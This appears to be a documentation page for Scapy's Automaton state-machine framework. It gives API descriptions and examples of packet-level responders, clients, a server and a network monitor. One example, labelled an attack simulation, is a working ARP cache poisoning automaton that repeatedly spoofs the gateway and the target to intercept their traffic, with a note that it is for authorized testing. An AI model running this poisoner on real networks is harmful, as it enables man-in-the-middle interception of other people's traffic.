or run

npx @tessl/cli init
Log in

Version

Tile

Overview

Evals

Files

Files

docs

automation.mdconfig-utilities.mdcore-packet-system.mdindex.mdpacket-analysis.mdprotocol-layers.mdsend-receive.md

automation.mddocs/

0

# Automation Framework

1

2

State machine framework for building automated network protocols, responding to network events, and creating interactive network services and attack simulations.

3

4

## Capabilities

5

6

### Automaton Base Class

7

8

Core state machine class for building automated network behaviors and protocol implementations.

9

10

```python { .api }

11

class Automaton:

12

"""

13

Base class for creating network protocol automatons.

14

"""

15

def __init__(self, *args, **kwargs):

16

"""

17

Initialize automaton.

18

19

Parameters:

20

- *args: Positional arguments

21

- **kwargs: Keyword arguments for configuration

22

"""

23

24

def start(self) -> None:

25

"""

26

Start the automaton execution.

27

"""

28

29

def stop(self) -> None:

30

"""

31

Stop the automaton execution.

32

"""

33

34

def restart(self) -> None:

35

"""

36

Restart the automaton from initial state.

37

"""

38

39

def run(self, resume: int = 0, timeout: float = None) -> None:

40

"""

41

Run the automaton with optional timeout.

42

43

Parameters:

44

- resume: Resume from specific point

45

- timeout: Maximum runtime in seconds

46

"""

47

48

def runbg(self, resume: int = 0, timeout: float = None) -> None:

49

"""

50

Run automaton in background thread.

51

52

Parameters:

53

- resume: Resume from specific point

54

- timeout: Maximum runtime in seconds

55

"""

56

57

def send(self, pkt: Packet) -> None:

58

"""

59

Send a packet from the automaton.

60

61

Parameters:

62

- pkt: Packet to send

63

"""

64

65

def receive(self, pkt: Packet) -> None:

66

"""

67

Process received packet in automaton.

68

69

Parameters:

70

- pkt: Received packet

71

"""

72

```

73

74

### ATMT Decorators

75

76

Decorators for defining automaton states, transitions, and behaviors.

77

78

```python { .api }

79

class ATMT:

80

"""

81

Automaton decorators and utilities for state machine definition.

82

"""

83

84

@staticmethod

85

def state(initial: bool = False, final: bool = False, error: bool = False):

86

"""

87

Define an automaton state.

88

89

Parameters:

90

- initial: Mark as initial state

91

- final: Mark as final state

92

- error: Mark as error state

93

94

Returns:

95

decorator: State decorator function

96

"""

97

98

@staticmethod

99

def action(func: callable):

100

"""

101

Define action to execute when entering a state.

102

103

Parameters:

104

- func: Function to execute as action

105

106

Returns:

107

decorator: Action decorator

108

"""

109

110

@staticmethod

111

def condition(func: callable, prio: int = 0):

112

"""

113

Define condition for state transition.

114

115

Parameters:

116

- func: Condition function

117

- prio: Priority for condition evaluation

118

119

Returns:

120

decorator: Condition decorator

121

"""

122

123

@staticmethod

124

def receive(func: callable, prio: int = 0):

125

"""

126

Define packet receive handler.

127

128

Parameters:

129

- func: Handler function for received packets

130

- prio: Priority for receive handler

131

132

Returns:

133

decorator: Receive decorator

134

"""

135

136

@staticmethod

137

def timeout(func: callable, timeout: float):

138

"""

139

Define timeout handler for state.

140

141

Parameters:

142

- func: Timeout handler function

143

- timeout: Timeout value in seconds

144

145

Returns:

146

decorator: Timeout decorator

147

"""

148

149

@staticmethod

150

def ioevent(func: callable, name: str, as_supersocket: bool = False):

151

"""

152

Define I/O event handler.

153

154

Parameters:

155

- func: Event handler function

156

- name: Event name

157

- as_supersocket: Treat as supersocket event

158

159

Returns:

160

decorator: I/O event decorator

161

"""

162

```

163

164

### Built-in Answering Machines

165

166

Pre-built automatons for common network protocols and responses.

167

168

```python { .api }

169

class ARP_am(Automaton):

170

"""

171

ARP answering machine that responds to ARP requests.

172

"""

173

def __init__(self, iface: str = None, **kwargs):

174

"""

175

Initialize ARP answering machine.

176

177

Parameters:

178

- iface: Interface to monitor

179

- **kwargs: Additional configuration

180

"""

181

182

class ICMP_am(Automaton):

183

"""

184

ICMP answering machine for ping responses.

185

"""

186

def __init__(self, iface: str = None, **kwargs):

187

"""

188

Initialize ICMP answering machine.

189

190

Parameters:

191

- iface: Interface to monitor

192

- **kwargs: Additional configuration

193

"""

194

195

class DHCPServer_am(Automaton):

196

"""

197

DHCP server answering machine.

198

"""

199

def __init__(self, iface: str = None, pool: str = "192.168.1.100-192.168.1.200", **kwargs):

200

"""

201

Initialize DHCP server.

202

203

Parameters:

204

- iface: Interface to serve DHCP on

205

- pool: IP address pool for allocation

206

- **kwargs: Additional DHCP configuration

207

"""

208

209

class DNS_am(Automaton):

210

"""

211

DNS server answering machine.

212

"""

213

def __init__(self, iface: str = None, records: dict = None, **kwargs):

214

"""

215

Initialize DNS server.

216

217

Parameters:

218

- iface: Interface to monitor

219

- records: DNS records to serve

220

- **kwargs: Additional configuration

221

"""

222

```

223

224

### Protocol Client Automatons

225

226

Client-side automatons for automated protocol interactions.

227

228

```python { .api }

229

class TCP_client(Automaton):

230

"""

231

TCP client automaton for automated connections.

232

"""

233

def __init__(self, ip: str, port: int, **kwargs):

234

"""

235

Initialize TCP client.

236

237

Parameters:

238

- ip: Target IP address

239

- port: Target port

240

- **kwargs: Additional TCP options

241

"""

242

243

class HTTP_client(Automaton):

244

"""

245

HTTP client automaton for web requests.

246

"""

247

def __init__(self, host: str, port: int = 80, **kwargs):

248

"""

249

Initialize HTTP client.

250

251

Parameters:

252

- host: Target hostname

253

- port: Target port

254

- **kwargs: Additional HTTP options

255

"""

256

257

class SMTP_client(Automaton):

258

"""

259

SMTP client automaton for email sending.

260

"""

261

def __init__(self, server: str, port: int = 25, **kwargs):

262

"""

263

Initialize SMTP client.

264

265

Parameters:

266

- server: SMTP server address

267

- port: SMTP server port

268

- **kwargs: Additional SMTP options

269

"""

270

```

271

272

## Usage Examples

273

274

### Basic Automaton Creation

275

276

```python

277

from scapy.all import *

278

279

class SimpleResponder(Automaton):

280

"""

281

Simple automaton that responds to ICMP pings.

282

"""

283

284

@ATMT.state(initial=True)

285

def WAITING(self):

286

"""Initial waiting state."""

287

print("Waiting for ICMP packets...")

288

289

@ATMT.receive(WAITING)

290

def receive_icmp(self, pkt):

291

"""Handle received ICMP packets."""

292

if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # Echo request

293

print(f"Received ping from {pkt[IP].src}")

294

self.icmp_request = pkt

295

raise self.RESPONDING()

296

297

@ATMT.state()

298

def RESPONDING(self):

299

"""State for sending ICMP reply."""

300

pass

301

302

@ATMT.action(RESPONDING)

303

def send_reply(self):

304

"""Send ICMP echo reply."""

305

reply = IP(dst=self.icmp_request[IP].src, src=self.icmp_request[IP].dst) / \\

306

ICMP(type=0, id=self.icmp_request[ICMP].id, seq=self.icmp_request[ICMP].seq)

307

self.send(reply)

308

print(f"Sent reply to {self.icmp_request[IP].src}")

309

raise self.WAITING()

310

311

# Start the automaton

312

responder = SimpleResponder()

313

responder.runbg()

314

```

315

316

### TCP Connection Automaton

317

318

```python

319

class TCPConnector(Automaton):

320

"""

321

Automaton that establishes TCP connections.

322

"""

323

324

def __init__(self, target_ip: str, target_port: int):

325

super().__init__()

326

self.target_ip = target_ip

327

self.target_port = target_port

328

self.src_port = random.randint(1024, 65535)

329

self.seq = random.randint(0, 2**32-1)

330

331

@ATMT.state(initial=True)

332

def CLOSED(self):

333

"""Initial closed state."""

334

pass

335

336

@ATMT.action(CLOSED)

337

def send_syn(self):

338

"""Send TCP SYN packet."""

339

syn = IP(dst=self.target_ip) / TCP(sport=self.src_port, dport=self.target_port,

340

flags="S", seq=self.seq)

341

self.send(syn)

342

print(f"Sent SYN to {self.target_ip}:{self.target_port}")

343

raise self.SYN_SENT()

344

345

@ATMT.state()

346

def SYN_SENT(self):

347

"""Waiting for SYN-ACK."""

348

pass

349

350

@ATMT.receive(SYN_SENT)

351

def receive_synack(self, pkt):

352

"""Handle SYN-ACK response."""

353

if (pkt.haslayer(TCP) and pkt[TCP].flags == 18 and # SYN-ACK

354

pkt[TCP].dport == self.src_port and pkt[TCP].sport == self.target_port):

355

self.ack_seq = pkt[TCP].seq + 1

356

raise self.ESTABLISHED()

357

358

@ATMT.timeout(SYN_SENT, 5)

359

def syn_timeout(self):

360

"""Handle SYN timeout."""

361

print("SYN timeout - connection failed")

362

raise self.CLOSED()

363

364

@ATMT.state()

365

def ESTABLISHED(self):

366

"""Connection established state."""

367

pass

368

369

@ATMT.action(ESTABLISHED)

370

def send_ack(self):

371

"""Send ACK to complete handshake."""

372

ack = IP(dst=self.target_ip) / TCP(sport=self.src_port, dport=self.target_port,

373

flags="A", seq=self.seq+1, ack=self.ack_seq)

374

self.send(ack)

375

print(f"Connection established with {self.target_ip}:{self.target_port}")

376

377

# Use the automaton

378

connector = TCPConnector("192.168.1.1", 80)

379

connector.run(timeout=10)

380

```

381

382

### Protocol Server Automaton

383

384

```python

385

class SimpleHTTPServer(Automaton):

386

"""

387

Simple HTTP server automaton.

388

"""

389

390

def __init__(self, port: int = 8080):

391

super().__init__()

392

self.port = port

393

self.connections = {}

394

395

@ATMT.state(initial=True)

396

def LISTENING(self):

397

"""Listening for HTTP requests."""

398

print(f"HTTP server listening on port {self.port}")

399

400

@ATMT.receive(LISTENING)

401

def receive_http(self, pkt):

402

"""Handle HTTP requests."""

403

if (pkt.haslayer(TCP) and pkt.haslayer(Raw) and

404

pkt[TCP].dport == self.port and b"GET" in pkt[Raw].load):

405

406

self.client_ip = pkt[IP].src

407

self.client_port = pkt[TCP].sport

408

self.server_seq = pkt[TCP].ack

409

self.client_seq = pkt[TCP].seq + len(pkt[Raw].load)

410

411

print(f"HTTP request from {self.client_ip}:{self.client_port}")

412

raise self.RESPONDING()

413

414

@ATMT.state()

415

def RESPONDING(self):

416

"""Sending HTTP response."""

417

pass

418

419

@ATMT.action(RESPONDING)

420

def send_response(self):

421

"""Send HTTP response."""

422

response_data = (

423

b"HTTP/1.1 200 OK\\r\\n"

424

b"Content-Type: text/html\\r\\n"

425

b"Content-Length: 27\\r\\n"

426

b"\\r\\n"

427

b"<h1>Hello from Scapy!</h1>"

428

)

429

430

response = (IP(dst=self.client_ip) /

431

TCP(sport=self.port, dport=self.client_port,

432

flags="PA", seq=self.server_seq, ack=self.client_seq) /

433

Raw(response_data))

434

435

self.send(response)

436

print(f"Sent HTTP response to {self.client_ip}:{self.client_port}")

437

raise self.LISTENING()

438

439

# Start HTTP server

440

server = SimpleHTTPServer(port=8080)

441

server.runbg()

442

```

443

444

### Network Attack Simulation

445

446

```python

447

class ARPPoisoner(Automaton):

448

"""

449

ARP poisoning attack automaton.

450

"""

451

452

def __init__(self, target_ip: str, gateway_ip: str):

453

super().__init__()

454

self.target_ip = target_ip

455

self.gateway_ip = gateway_ip

456

self.attacker_mac = get_if_hwaddr(conf.iface)

457

458

@ATMT.state(initial=True)

459

def POISONING(self):

460

"""Continuously poison ARP caches."""

461

pass

462

463

@ATMT.action(POISONING)

464

def send_poison(self):

465

"""Send poisoned ARP responses."""

466

# Poison target's ARP cache (gateway -> attacker)

467

poison_target = ARP(op=2, pdst=self.target_ip, hwdst="ff:ff:ff:ff:ff:ff",

468

psrc=self.gateway_ip, hwsrc=self.attacker_mac)

469

470

# Poison gateway's ARP cache (target -> attacker)

471

poison_gateway = ARP(op=2, pdst=self.gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",

472

psrc=self.target_ip, hwsrc=self.attacker_mac)

473

474

sendp(poison_target, verbose=0)

475

sendp(poison_gateway, verbose=0)

476

print(f"Sent ARP poison: {self.target_ip} <-> {self.gateway_ip}")

477

478

@ATMT.timeout(POISONING, 5)

479

def repeat_poison(self):

480

"""Repeat poisoning every 5 seconds."""

481

raise self.POISONING()

482

483

# WARNING: Only use for authorized testing!

484

# poisoner = ARPPoisoner("192.168.1.100", "192.168.1.1")

485

# poisoner.runbg()

486

```

487

488

### Multi-State Protocol Client

489

490

```python

491

class FTPClient(Automaton):

492

"""

493

FTP client automaton with authentication.

494

"""

495

496

def __init__(self, server: str, username: str, password: str):

497

super().__init__()

498

self.server = server

499

self.username = username

500

self.password = password

501

self.port = 21

502

503

@ATMT.state(initial=True)

504

def CONNECTING(self):

505

"""Connecting to FTP server."""

506

print(f"Connecting to FTP server {self.server}")

507

508

@ATMT.action(CONNECTING)

509

def connect(self):

510

"""Establish TCP connection."""

511

syn = IP(dst=self.server) / TCP(dport=self.port, flags="S")

512

self.send(syn)

513

raise self.CONNECTED()

514

515

@ATMT.state()

516

def CONNECTED(self):

517

"""Connected, waiting for welcome message."""

518

pass

519

520

@ATMT.receive(CONNECTED)

521

def receive_welcome(self, pkt):

522

"""Handle FTP welcome message."""

523

if pkt.haslayer(Raw) and b"220" in pkt[Raw].load:

524

print("Received FTP welcome message")

525

raise self.AUTHENTICATING()

526

527

@ATMT.state()

528

def AUTHENTICATING(self):

529

"""Sending authentication."""

530

pass

531

532

@ATMT.action(AUTHENTICATING)

533

def send_username(self):

534

"""Send username."""

535

user_cmd = f"USER {self.username}\\r\\n".encode()

536

cmd_pkt = IP(dst=self.server) / TCP(dport=self.port) / Raw(user_cmd)

537

self.send(cmd_pkt)

538

print(f"Sent username: {self.username}")

539

raise self.USERNAME_SENT()

540

541

@ATMT.state()

542

def USERNAME_SENT(self):

543

"""Username sent, waiting for password prompt."""

544

pass

545

546

@ATMT.receive(USERNAME_SENT)

547

def receive_pass_prompt(self, pkt):

548

"""Handle password prompt."""

549

if pkt.haslayer(Raw) and b"331" in pkt[Raw].load:

550

pass_cmd = f"PASS {self.password}\\r\\n".encode()

551

cmd_pkt = IP(dst=self.server) / TCP(dport=self.port) / Raw(pass_cmd)

552

self.send(cmd_pkt)

553

print("Sent password")

554

raise self.AUTHENTICATED()

555

556

@ATMT.state(final=True)

557

def AUTHENTICATED(self):

558

"""Successfully authenticated."""

559

print("FTP authentication successful!")

560

561

# Use FTP client

562

# ftp = FTPClient("ftp.example.com", "testuser", "testpass")

563

# ftp.run(timeout=30)

564

```

565

566

### Event-Driven Network Monitor

567

568

```python

569

class NetworkMonitor(Automaton):

570

"""

571

Network monitoring automaton with alerts.

572

"""

573

574

def __init__(self):

575

super().__init__()

576

self.suspicious_ips = set()

577

self.connection_counts = {}

578

579

@ATMT.state(initial=True)

580

def MONITORING(self):

581

"""Continuously monitor network traffic."""

582

print("Starting network monitoring...")

583

584

@ATMT.receive(MONITORING)

585

def analyze_packet(self, pkt):

586

"""Analyze incoming packets for threats."""

587

if pkt.haslayer(IP):

588

src_ip = pkt[IP].src

589

590

# Count connections per IP

591

self.connection_counts[src_ip] = self.connection_counts.get(src_ip, 0) + 1

592

593

# Check for port scanning

594

if pkt.haslayer(TCP) and pkt[TCP].flags == 2: # SYN packet

595

if self.connection_counts[src_ip] > 100: # Threshold

596

if src_ip not in self.suspicious_ips:

597

self.suspicious_ips.add(src_ip)

598

self.alert_ip = src_ip

599

raise self.ALERT()

600

601

@ATMT.state()

602

def ALERT(self):

603

"""Generate security alert."""

604

pass

605

606

@ATMT.action(ALERT)

607

def generate_alert(self):

608

"""Generate and log security alert."""

609

print(f"SECURITY ALERT: Possible port scan from {self.alert_ip}")

610

print(f"Connection count: {self.connection_counts[self.alert_ip]}")

611

612

# Could send notification, write to log, etc.

613

raise self.MONITORING()

614

615

@ATMT.timeout(MONITORING, 60)

616

def reset_counters(self):

617

"""Reset connection counters periodically."""

618

self.connection_counts.clear()

619

print("Reset connection counters")

620

raise self.MONITORING()

621

622

# Start network monitor

623

# monitor = NetworkMonitor()

624

# monitor.runbg()

625

```